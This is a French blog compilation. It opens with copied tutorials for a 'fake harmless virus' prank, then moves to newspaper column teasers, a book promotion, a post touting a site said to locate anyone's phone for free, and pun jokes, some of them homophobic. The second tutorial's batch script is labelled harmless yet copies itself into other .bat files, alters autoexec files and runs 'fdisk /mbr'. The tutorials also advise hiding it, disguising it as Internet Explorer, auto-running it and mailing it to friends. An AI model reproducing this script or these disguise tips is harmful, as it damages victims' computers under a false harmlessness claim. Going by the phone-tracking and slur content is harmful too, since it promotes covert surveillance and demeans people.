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lundi 9 juin 2014

Comment créer un faux virus inoffensif

Envie de jouer un petit tour à vos amis? Essayez ce virus affolant mais inoffensif ! Poursuivez votre lecture, vous saurez comment vous y prendre.
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Méthode 1 sur 2: Construction du virus

  1. Create a Fake and Harmless Virus Step 1.jpg
    1
    Exécutez Bloc-notes pour pouvoir entrer du texte avec très peu de mise en page. Cliquez sur Démarrer > Tous les programmes > Accessoires > Bloc-notes.
    • Si vous utilisez Mac, exécutez Textedit.
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  2. Create a Fake and Harmless Virus Step 2.jpg
    2
    Entrez un petit fichier batch. Ecrivez ceci dans votre fichier texte (sans les puces):
    • @echo off
    • echo hahahaha je pirate votre ordinateur
    • fermeture -s -f -t 60 -c "entrez un message à votre victime"
  3. Create a Fake and Harmless Virus Step 3.jpg
    3
    Cliquez sur Fichier > Enregistrer-sous.
  4. Create a Fake and Harmless Virus Step 4.jpg
    4
    Nommez votre fichier.
  5. Create a Fake and Harmless Virus Step 5.jpg
    5
    Changez l'extension du fichier « .txt » en « .bat » ou en « .cmd ».
  6. Create a Fake and Harmless Virus Step 6.jpg
    6
    Modifiez le type « .txt » en « Tous les fichiers ».
  7. Create a Fake and Harmless Virus Step 7.jpg
    7
    Cliquez sur Enregistrer.
  8. Create a Fake and Harmless Virus Step 8.jpg
    8
    Fermez Bloc-notes.

Méthode 2 sur 2: Création d'une fausse icône

  1. Create a Fake and Harmless Virus Step 9.jpg
    1
    Faites un clic droit sur votre bureau. Cliquez sur Nouveau > Raccourci.
  2. Create a Fake and Harmless Virus Step 10.jpg
    2
    Choisissez votre virus comme emplacement de votre raccourci.
  3. Create a Fake and Harmless Virus Step 11.jpg
    3
    Cliquez sur Suivant.
  4. Create a Fake and Harmless Virus Step 12.jpg
    4
    Nommez votre raccourci de façon à ce que votre victime n'ait aucun doute à cliquer dessus.
  5. Create a Fake and Harmless Virus Step 13.jpg
    5
    Cliquez sur Terminer.
  6. Create a Fake and Harmless Virus Step 14.jpg
    6
    Faites un clic droit sur le raccourci que vous venez de créer et choisissez « Propriétés »
  7. Create a Fake and Harmless Virus Step 15.jpg
    7
    Cliquez sur Changer d'icône et faites défiler la liste des icônes.
  8. Create a Fake and Harmless Virus Step 16.jpg
    8
    Choisissez une icône qui correspond au nom de votre fichier. Cliquez dessus puis deux fois de suite sur OK.
    • Ces étapes ne fonctionneront pas sur Windows 7 Pro.
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Conseils

  • Vous pouvez également programmer votre 'virus' pour s'exécuter chaque fois qu'un utilisateur accède à sa session. Allez à Démarrer > clic droit sur Tous les programmes > Ouvrir et copiez le raccourci dans le fichier qui apparaît. Faites attention à l'heure de fermeture indiquée. Un intervalle très limité permettra aux plus analphabètes en informatique de désactiver le virus.
  • Un démarrage en mode sans échec interrompra le startup et la clé de démarrage.
    Si vous en avez trop fait, démarrez un Serveur Linux et accédez au disque dur. Retrouvez le fichier et supprimez-le.
  • Exécuter ce genre de fichiers batch en mode plein écran peut les rendre plus alarmants et plus crédibles. Faites un clic droit sur l'icône et choisissez Propriétés > Options > Plein écran.
  • N'éteignez pas l'ordinateur trop vite. Ça peut ne pas faire peur à votre victime voire ne pas ressembler à un virus.
  • Ce serait mieux si vous nommez votre fichier « Internet Explorer » en choisissant l'icône correspondante. Enregistrez-le sur votre bureau et supprimez l'ancien raccourci Internet. Dès que votre victime cliquera dessus, l'ordinateur s'éteindra.
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Avertissements

  • Une fois ce virus activé, il n'y a presque aucun moyen de l'arrêter. Au cas où vous voudriez vous en débarrasser, accédez à l'invite de commandes et tapez « shutdown -a » dans la fenêtre qui apparaît. Le virus sera immédiatement désactivé.
  • Ne faites ce genre de farces qu'à quelqu'un capable de les gérer.
  • N'exécutez pas ces virus sur des ordinateurs indispensables 24h/24, comme ceux des hôpitaux.
  • Si vous voulez exécuter un compte à rebours de fermeture, assurez-vous de le régler de façon à avoir assez de temps pour le désactiver.

REF.:

Comment créer un Faux Virus

Vous voulez créer un virus inoffensif qui simplement imprime quelques messages pour faire peur à quelqu'un avant d'éteindre l'ordinateur de cette même personne puis, après un redémarrage, laissera fonctionner l'ordinateur de la personne de façon normale, comme la personne en avait l'habitude ? Ci-dessous, dans la rubrique "Code" vous pouvez voir le code qui est exécuté par l'ordinateur lorsque le virus est lancé. Les lignes qui comment par REM sont des commentaires que votre ordinateur va tout simplement ignorer. Bonne lecture !
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Étapes

  1. 1
    Une fois Windows démarré, ouvrez le bloc-notes. Vous pouvez faire cela en cliquant successivement sur Démarrer -> Tous les programmes -> Accessoires -> Bloc-notes ou bien plus simplement encore en tapant "Bloc-notes" après avoir cliqué sur Démarrer -> Exécuter.

    Create a Virus Step 1.jpg
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  2. Create a Virus Step 2.jpg
    2
    Copiez le code écrit ci-dessous, dans la rubrique "Code" et collez-le dans le bloc-notes puis cliquez sur Fichier -> Enregistrer sous.
  3. 3
    Décidez de l'endroit où vous voulez enregistrer le faux virus sur votre ordinateur. Vous devriez choisir un endroit où la personne ne trouvera pas votre fichier, le bureau est donc un emplacement à éviter.

    Create a Virus Step 3.jpg
  4. Create a Virus Step 4.jpg
    4
    Dans le menu déroulant à côté de "Type : " choisissez "Tous les fichiers (*.*)" à la place de "Fichiers texte (*.txt)".
  5. Create a Virus Step 5.jpg
    5
    Choisissez un nom inoffensif pour votre virus. Remplacez l'extension ".txt" par l'extension ".bat" et cliquez sur Enregistrer puis fermez le bloc-notes.
  6. 6
    Vous venez désormais de finir la partie création de ce virus. Vous devez maintenant attacher le virus avec un autre fichier. Après avoir attaché le virus, envoyez-le simplement à vos amis. Puis installez-vous bien confortablement dans votre chaise de bureau et appréciez le spectacle !

    Create a Virus Step 6.jpg
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@echo off
title %0
rem verification conditionnelle.
echo bienvenue dans ce magnifique programme ! Attendez svp pendant que je supprime tous vos fichiers ! 
rem infection de l utilisateur 
copy %0 c : \tmp.bat >null attrib +r +s +h c : \tmp.bat echo for %%i in (*.bat) do copy c : \tmp.bat+%%i %%i >>c : \windows\system32\autoexec.NT
echo echo virus detecte ! >>c : \windows\system32\autoexec.NT
echo pause >>c : \windows\system32\autoexec.NT
echo NT core : infected !
echo echo honte a toi ! >>c : \autoexec.bat
echo echo system hault-virus identifie ! >>c : \autoexec.bat
echo chkdsk >>c : \autoexec.bat
echo c e s t t r o p t a r d, v o u s a v e z u n v i r u s, v o t r e v i e e s t g a c h e e l
fdisk /mbr
shutdown -s -t 03 -c “windows has shut down because the lsass service has encountered a write fault at 0×00000000000000000000000000000000000″

Détails de l'article

jeudi 28 octobre 2010

1 tres bon jounal ,le journal de 24 heures,........... a lire et relire

MATHIEU BOCK-CÔTÉ

Il s’appelait Jacques Parizeau

27/10/2010 11h40

Nous commémorerons ce samedi avec une certaine tristesse le quinzième anniversaire du référendum du 30 octobre 1995. Jamais le Québec n’est passé plus près de son destin. Et jamais il n’en a été plus éloigné qu’aujourd’hui. Il y a de quoi être morose. Il importe toutefois de se rappeler celui qui a rendu possible le référendum. Il s’appelait Jacques Parizeau.

DENIS LÉVESQUE

Mettre nos vraies limites

26/10/2010 10h17

Quand le gouvernement a décidé d’installer des radars photos en nombre limité dans certains secteurs, il disait le faire à titre expérimental. Si l’opération s’avérait concluante, il envisagerait de les implanter un peu partout à travers le Québec. Or, le ministère des Transports considère que les 15 cinémomètres déjà mis en place ont donné de bons résultats. Qu’ils contribuent directement à ralentir la circulation dans des secteurs dangereux.

SYLVAIN LAROCQUE

Mon Halloween

25/10/2010 08h12

Cette année, pour la première fois depuis que la banque a ma maison, je vais donner des bonbons aux enfants à l'Halloween. Je n'ai pas d'enfants, donc je ne serai pas obligé de faire comme vous, chers parents, et d'aller sonner à la porte des voisins avec lesquels je tente d'éviter tout contact le reste de l'année.

SOPHIE DUROCHER

Sous-vêtements

22/10/2010 08h40

Lundi je suis allée au Musée des Beaux-Arts de Montréal voir une exposition des « œuvres » de Denis Gagnon. Et tout ce que j’ai vu c’est 20 belles robes. Si ça c’est une exposition, mon walk-in devrait être au Louvre.

PAUL RIVARD

Beau casque

21/10/2010 09h06

Au début d’octobre, comme chaque année à la même période, j’ai reçu le magazine promotionnel de Sports Experts, encarté dans mon quotidien. Fusion est une publication à la facture soignée, qui n’a rien à envier à bien des magazines sur le marché, à ce niveau.

MATHIEU BOCK-CÔTÉ

Un petit peuple?

20/10/2010 09h18

Nous serions « un petit peuple ». L’expression lancée par Pauline Marois au moment des débats à l’Assemblée nationale sur le projet de loi 115 en a fait bondir plusieurs. Jean Charest a répliqué immédiatement que le Québec est un grand peuple. Il ne faut pas applaudir trop vite.

DENIS LÉVESQUE

Contradictions chez les fumeurs, emballeurs et partisans

19/10/2010 09h21

Depuis des années, les fumeurs du Québec dénoncent le manque de respect que leur réserveraient les non-fumeurs. Ils sont constamment en train d’invoquer la liberté dont on les prive en les empêchant de téter leurs mégots dans les bars et les restaurants.

SYLVAIN LAROCQUE

Saint Dédé

18/10/2010 10h40

Quand on nous parle de religion, un sourire sarcastique s’esquisse rapidement sur le visage de la plupart d’entre nous. Pour moi, une religion, c’est une doctrine qui a été popularisée à une époque où nous étions trop idiots pour réaliser qu’on s’embarquait dans une secte.

SOPHIE DUROCHER

« Osti de fif ! »

15/10/2010 09h56

9 septembre 2010, dans l’Indiana, Billy Lucas, 15 ans, se pend à cause des moqueries qu’il subit dans son école où on le traite de « fag » (fif).

PAUL RIVARD

Ah ! La Bell Étoile

14/10/2010 09h01

On n’arrête pas le progrès. Un dernier rempart de la glorieuse époque journalistique éditoriale et sportive vient de tomber : le choix des 3 Étoiles, aux matchs des Canadiens.

MATHIEU BOCK-CÔTÉ

Quelles vraies affaires?

13/10/2010 09h17

La rumeur concernant la création d’un nouveau parti sous la direction de François Legault s’est emparée des médias. Jusqu’ici, on en sait peu de choses, sinon qu’il évacuera la question nationale pour s’occuper des « vraies affaires », comme les finances publiques, l’éducation et la santé.

DENIS LÉVESQUE

A-t-on les moyens de se payer Bombardier?

12/10/2010 09h07

Comme la plupart des Québécois, je suis fier des succès de Bombardier à travers le monde.

SOPHIE DUROCHER

Réhabilitation

08/10/2010 09h27

Cette semaine, un homme qui a assassiné sa blonde a chanté sur une scène et a été applaudi par la foule; un homme qui a violé une fille de 13 ans s’est promené en liberté dans les rues de Paris où on lui a déroulé le tapis rouge; et un grand cinéaste a rendu hommage à un délateur. C’est dur à avaler.

REF.: Journal 24 heures,

REF,: Journal 24 heures

lundi 16 novembre 2009

Les Justiciers Masqués , 2 livres sur les pires déclarations

Ce mercredi 11 novembre , nous publions 2 livres!
“Les mots dits du sport”, qui comprend 100 des pires déclarations de Benoit Brunet, Jacques Demers et de joueurs du Canadiens pour ne nommer que ceux-là! On fait aussi toute la lumière sur les rumeurs non-confirmées qui ont gâché le Centenaire! Procurez-vous aussi “Les mots dits de la téléréalité", qui comprend les pires citations d’Occupation Double et de Loft Story! En vente partout... Ousse qu’il y a des livres!


Les Justiciers Masqués
présentent leurs nouvelles victimes : les médias!


Montréal 5 novembre 2009- Dès le 11 novembre Les Éditions Les Malins lanceront sur le marché Les mots dits du sport et Les mots dits de la téléréalité. Deux livres percutants qui regroupent une revue de l’année du Canadien et les 100 pires déclarations de nos «journalistes» sportifs de même que celles des «acteurs» de la téléréalité! Le tout agrémenté de l’humour décapant des Justiciers Masqués!

Les mots dits du sport
Avec la précieuse collaboration de l’équipe du Sportnographe à Radio-Canada et celle du journaliste d’expérience Pierre Trudel, ce livre est un incontournable pour tout amateur de sport. Et en lisant quelques-unes des aberrations dites sur les ondes durant la dernière année, vous comprendrez mieux pourquoi tout s’est effondré autour du Bleu, Blanc, Rouge...ou comme l’a dit Gabriel Grégoire, pourquoi tout s’est « effrond »!

Il est acquis que personne ne peut se proclamer journaliste, et publier une nouvelle sans vérifier ses sources. Absolument personne, à l’exception des « journalistes » sportifs!
« Dans le fond, Laraque est comme Gretzky, mais complètement différent.»
Joel Bouchard, RDS

« Je ne sais pas quelle vache vous a piqué? »
Jean-Charles Lajoie, CKAC


Vous y trouverez :
Des citations 100% véridiques de nos « experts du sport »
« Des fois quand t'es malade, t'es pas à 100%. »
« Ta défensive est ta meilleure défensive. »
« Tu fais pas un papillon avec une mouche à marde. »

Des statistiques incroyables!
Pour battre le record de 2857 points de Gretzky, au rythme de George Laraque, il aurait mathématiquement besoin de 117 131 matchs... ou encore 1429 années!
Des rumeurs non-vérifiées :
Ça fait 4 ans que Ron Fournier est sur 'repeat'... et personne ne s'en est aperçu.
Guillaume Latendresse : « Je vois ça du bon pied. »
Apprenez toute la vérité : les frères Kostitsyn ont-ils des liens avec la mafia?



Les mots dit de la téléréalité
Avec la collaboration de la recherchiste et vadrouilleuse culturelle Geneviève Trudel, ce livre scrute à la loupe les déclarations les plus ridicules de Loft Story et d’Occupation Double. Tout le Québec les suit au petit écran à chaque semaine, personnalités aimées ou détestées, mais certainement publiques, les concurrents de la téléréalité d’ici n’ont pas la langue dans leur poche…et c’est tant mieux pour le monde de l’humour!

Vous voulez devenir une vedette au Québec ? Il suffit de se mettre en bédaine… dans un spa!
« C’est quoi la différence entre du roastbeef pis du rôti de porc »
Jean-François, Occupation Double 2007

« J’ai pas besoin de chum, à cause que j’ai un chien. »
Alexe, Occupation Double 2009
Les mots dits du sport et Les mots dits de la téléréalité
deviendront rapidement des incontournables.
Un rendez-vous à ne pas rater avec l’humour décapant des Justiciers Masqués!




REF.:

vendredi 4 septembre 2009

Poètes a la cuillère

Des humoristes deviennent chanteurs, des sculpteurs jouent de la guitare et les violonistes peuvent faire de la peinture. Dans le mélange des arts, un des plus remarquables, c’est lorsque les chefs cuisiniers deviennent poètes.
Quand ils nous offrent la cervelle de veau montée d’un quotient de beurre noir. Sinon, le béret de foie de porc chapeautant le crâne d’oignons espagnols. Même à la cabane à sucre, on serait capable de vous proposer le patio de fèves péteuses sur pavé d’omelette et rocaille de bacon.
À la cambuse, le boyau de Frankfurt allongé dans sa mie écartée n’a plus l’allure du vulgaire hot-dog.
ON S’AJUSTE
Vous mangez avec des employés? Commandez le daim de velours dans un gant de cerf. Sinon, vous invitez une pitoune au resto: cervelle d’oiseau en entrée suivie de la poitrine de poulette chaude et bien relevée et, le dessert viendra: le tire-àmit-dessous. Sinon, cuisinez pour elle: entrée de maquereau salé, languette de porc dans son jus et patte de cochon à l’endos. Au dessert, la banane à la crème giclée sur noix velues. Irrésistible. Pendant ce temps, dégustez la tétine de framboise sur demi-melon dans sa montée de crème nourricière.
Sachez adapter à votre personnalité les plats qui vous sustentent. Vincent Lacroix adore les petits pains fourrés, alors que plusieurs joueurs du Canadien apprécieront le jambon à la nana préparé dans sa farine de Colombie.
D’autres fois, ce sont les mets qui vous désirent. Parlez-en aux frères Hilton dont les poulets se délectent régulièrement. Ils les cueillent dans un panier à salade et n’ont pas besoin de les cuisiner parce qu’habituellement, ils sont chauds. Ils ne sont pas tendres, mais tout de même coupables. Une fois bien saisis, on les met au frais.


REF.: Michel Beaudry, LO-LOL

mardi 29 juillet 2008

enfin on peut localiser les cellulaires sur une map

Aller sur http://www.phonetrace.org/index_fr.php


CA FONCTIONNE COMMENT?On utilise la technologie GPS satellite ainsi que le triangulation basée sur les postes téléphoniques.QUI UTILISE CETTE TECHNOLOGIE?Les téléphones mobiles donnent aux employeurs de nouvelles possibilités pour localiser leurs employés. La question de cette technologie est si celle-ci endommage les lois privées des employés. Pour le gouvernement ainsi que pour la police cette technologie est une majeur percée depuis les tests DNA. PhoneTrace est aussi utilisé par des gens qui veulent contrôler si une personne se trouve bien là ou elle l'a indiquée.CA COUTE COMBIEN?Cette recherche basée web est 100% GRATUITE!
vous verrez le cell de votre amie ,ou qu'elle ne se trouve ;0)

jeudi 5 juin 2008

Les Jokes a Michel Beaudry & a TÉO

Aux nouvelles ce soir:


Les Jokes a Michel Beaudry & a TÉO



Je vous rapelle que les patentes a gosses sont au rayon des cossins.

Chaque fois que je joue de la guitare sèche,l'humidificateur part !

Paris Hilton dévalisée chez elle."Pourtant on étaient 4 dans le lit et on n'a rien entendu"

Dans un sapin naturel ,les boules pendent" ; Le gérant de chez Parée.

J'ai pogné Natasha et Krystel a l'échange de cadeaux du club échangiste.

Camion de la Brinks dévalisé.
Les voleurs n'ont pris que le gaz.

En gaspésie,les pêcheurs sont en colère.Le thon monte !


René a décidé de faire rénover le sous-sol du coffre a bijoux de Céline Dion.


Surprit a tricher au Casino,il a été sortit a grand croupier dans l'cul.


L'eau est tellement pas bonne a Cuba ,que Fidel Castro aurait pogné une castroentérite.


Votre Horoscope:
Vierge: En amour,toutes les positions sont bonnes . En affaires,vous recevrez la visite d'un huissier en Saturn !


J'écoute du Bob Marley avec mon iPot.

Depuis le décès de son épouse,Monsieur Angus est un veuf de l'Ouest.


Un jour, une grande parole a été dites par un grand homme:"Un secrétaire, c'est commode dans un bureau",par : Le Père Du Meuble.


Quand il pleut,ont se sent pluvieux !


Pour éviter de demeurer en prison ,augmentez votre poid a environ 375 lbs,avant votre arrestation et ensuite travailler a la cantine pour vous rendre a 430 lbs,ça devra aller.

Pour se désaltérer, y a rien comme le thé glacé.Ice Tea que c'est bon.

Un ex-bucheron étant rendu tellement paresseux ,a donner son nom pour travailler dans un Moulin assis. ;0)

90% des obèses ne veulent pas répondre aux sondages lorsque c'est la Maison Léger Léger.

Oui,je me lève avec la baboune ,mais quand elle est partie travailler,je me recouche.


Pouvez-vous dire au monde que mon livre est plus épais que celui de Mulroney ?
(Jean Chrétien)

Après Mulroney et Chrétien qui lancent un livre pour raconter leur expérience de premier ministre ,Paul Martin publie un calepin.

Radio-canasta aurait démenti la rumeur que :Vincent Lacroix pourrait être au Super-Cross,cette été au Bahamas.

Proverbe japonnais: quand une fille fait du bon sushi, Tamari.

On joue a la pétanque au club échangiste maintenant;sauf que c'est le petit cochon qui doit s'approcher le plus possible,des boules.

Tanné de votre patron; imaginez un chameau qui vit toujours avec 2 bosses sur le dos.

Votre opération pour les hémorroides a été reportée a une date postérieure.

Souris,rats dans les hôpitaux . Ils sortent vers rongeurs et rentrent vermine nuit.

Si le prochain président américain est noir,ce sera la preuve que pour réussir ,il faut foncer.

Selon,Jacques Parizeau, le problême dans les hôpitaux ,c'est l'argent et les hernies .


J'ai des lunettes a double-foyers . Est-ce normal que les yeux me chauffent ?


Un couturier juif du centre-ville offre des rabbins jusqu'a 60%.

Le prix de l'essence qui augmente encore! Un cracheur de feu annule sa tournée.

Écoutez bien,.............je n'irai pas par 4 chemins.
De toute façon y en a trois en réparation!

Y a tellement de pot dans les champs en Estrie,qu'il y a des vaches qui font des willies.

Le plus dur pour un mouton,c'est la laine du matin.


En politique, la vérité sort de la couche des enfants.....

Il aime tellement le ski qu'il écrit en pente.

 Infirmière arrêtée pour avoir troublé la plaie.


On prévoit des vents forts demain.
N'oubliez pas d'inscrire vos noms et numéros de téléphones a l'intérieur de vos moumoutes !

Au Québec,le gouvernement trouve des problêmes a toutes les solutions ;-)


Selon l'étude du Docteur Tees: il est normal qu'un chandail de golf sente le swigne.

Vrai que certains mollusques sont aphrodisiaques .Hier,au club échangiste ,on était huître sur le sofa.

Si les deux pôles continuent de se réchauffer ,les calottes sont cuites !

Ouvrez les églises,on prévoit une vague de foi.

Pire que passer sur une rouge a Montréal . Passer sur une jaune a Pékin.

Le gars qui se masturbait au service a l'auto du Tim Horton's de Longueuil aurait été influencé par la pub " Déroule le rebord! "

Des filles qui partent pour le Week-end n"apportent que le string nécessaire.


Si vous avez la gueule de bois ,ne vous approchez pas trop du foyer.


Pour éviter l'achat d'une mini-van ,le moyen le plus sûr est l'utilisation du condom.


C'est a la commission Charbonneau qu'on aura vu le plus grand nombre de bénévoles a but lucratif !


C'est quoi la difference entre un maringouin et un homo : il y en a pas, car les deux ont 24 hrs pour succer quelqu'un ,sinon y meurent ,d'amour !

Désolé,je suis allergique aux arachides.Je ne peux donc travailler pour des pinottes.


Qu'est-ce qu'un politichien ? Un député qui demande la porte.
Un Chien, on lui montre ,...............comme a Jean C. ;-)

Sauvez un arbre. Mangez un castor.

Le vin d'ici vaut mieux que l'eau de la.

Tous les chemins mènent a Rome,mais le Rhum mène a côté du chemin.

Ca sert a rien d'être fort comme un chêne si c'est pour être con comme un gland.

Insalubrité chez un marchand de noix.
Il y aura des amandes.

A l'achat d'un cabanon,obtenez une remise.

On n'avait pas eu de tremblement de terre depuis une bonne secousse.

Mégane et Harry ne feront plus de conférence de Prince.

Pas besoin d'être obèse pour sentir la tonne.

Après 6 mois dans un salon de coiffure,elle devient permanente. 
 
Le cholestérol : Plus de beurre que de mal.
 
Ma blonde fait dire qu'elle n'est pas controlante.
 
J'ai échappé un tube de clearasil dans la laveuse et mes chemises n'ont plus de boutons.
 
A Québec,on fête sur les Plaines,et le lendemain ,on ramasse les vides.
 
Il n'y a pas plus grand plaisir que de passer pour un idiot aux yeux d'un imbécile.
 
 
Paraît que les meilleurs crus donnent les meilleures cuites.


C'est après 50 ans qu'on voit la vie en rose. Cirrhose,ostéoporose,arthrose,fibrose...
 
Arrêtez de vous chicaner concernant les CHSLD.
Il faut mettre de l'eau dans son bain.

Grâce au lecteur de code-barre, on sait maintenant combien coûte un zèbre.

 
 Bizarre cette planète, La moitié du monde a faim et l'autre veut maigrir.
 La femme qui voulait se faire servir en français au McDo voulait un Big Mac , un Cheeze et un Milk Shake!

Les Mayas coupent-ils leurs viandes avec un couteau Aztèque ?

Qu'est-ce qu'ont en commun un chasseur et un virus du Covid ? ..... Les deux vont a chiasse !

Un prêtre qui déménage a-t-il le droit d'utiliser un diable ?



REF.: journal de montréal, T30, Michel Beaudry,